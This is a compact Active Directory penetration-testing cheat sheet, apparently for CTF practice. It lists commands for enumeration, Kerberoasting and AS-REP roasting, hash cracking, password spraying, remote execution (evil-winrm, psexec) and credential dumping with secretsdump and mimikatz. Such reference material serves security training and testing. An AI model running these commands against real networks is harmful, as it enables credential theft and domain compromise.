active-directory::ctf

pentest active directory kerberos ยท LDAP
Enumeration Attack Paths Execution & Pitfalls
01Initial AD Enumeration
Fast checks
crackmapexec smb dc -u user -p pass
netexec smb dc -u user -p pass --shares
rpcclient -U 'user%pass' dc
smbclient -L //dc -U user
ldapsearch -x -H ldap://dc -D 'user@dom.local' -w pass -b 'DC=dom,DC=local'
Look for
TargetWhy
valid credsdomain user often enough to start
SMB sharesscripts, backups, passwords
LDAP infousers, groups, SPNs, descriptions
WinRM/RDPdirect shell path
bloodhound datagraph attack paths
02Core Attack Paths
Kerberoast / AS-REP roast
GetUserSPNs.py dom.local/user:pass -dc-ip dc -request
GetNPUsers.py dom.local/ -usersfile users.txt -dc-ip dc -no-pass
hashcat -m 13100 kerb.txt wordlist
hashcat -m 18200 asrep.txt wordlist
BloodHound / ACLs
bloodhound-python -u user -p pass -d dom.local -c All -ns dc
# then inspect:
- GenericAll / GenericWrite
- ForceChangePassword
- AddMember
- RBCD / delegation
- DCSync rights
Password reuse / spraying
netexec smb targets.txt -u users.txt -p 'Winter2024!' --continue-on-success
# keep attempts low; respect lockout in real envs
03Execution & Lateral Movement
Remote access
evil-winrm -i host -u user -p pass
psexec.py dom.local/user:pass@host
wmiexec.py dom.local/user:pass@host
smbexec.py dom.local/user:pass@host
Secrets & tickets
secretsdump.py dom.local/user:pass@dc
klist
Rubeus triage
mimikatz 'sekurlsa::logonpasswords'

# common CTF goal: get admin hash or flag from DC/share
Common misconfigs
MisconfigAbuse
description fieldspasswords or hints
SYSVOL / NETLOGONscripts with creds
delegation / RBCDmachine account abuse
WriteOwner / WriteDacltake over object
backup operators / print operatorsprivileged paths
Pitfalls
- forgetting the domain format user@domain or DOMAIN\user
- not syncing time for Kerberos
- assuming SMB only; try WinRM / LDAP / RPC too
- ignoring machine accounts and gMSA-related leads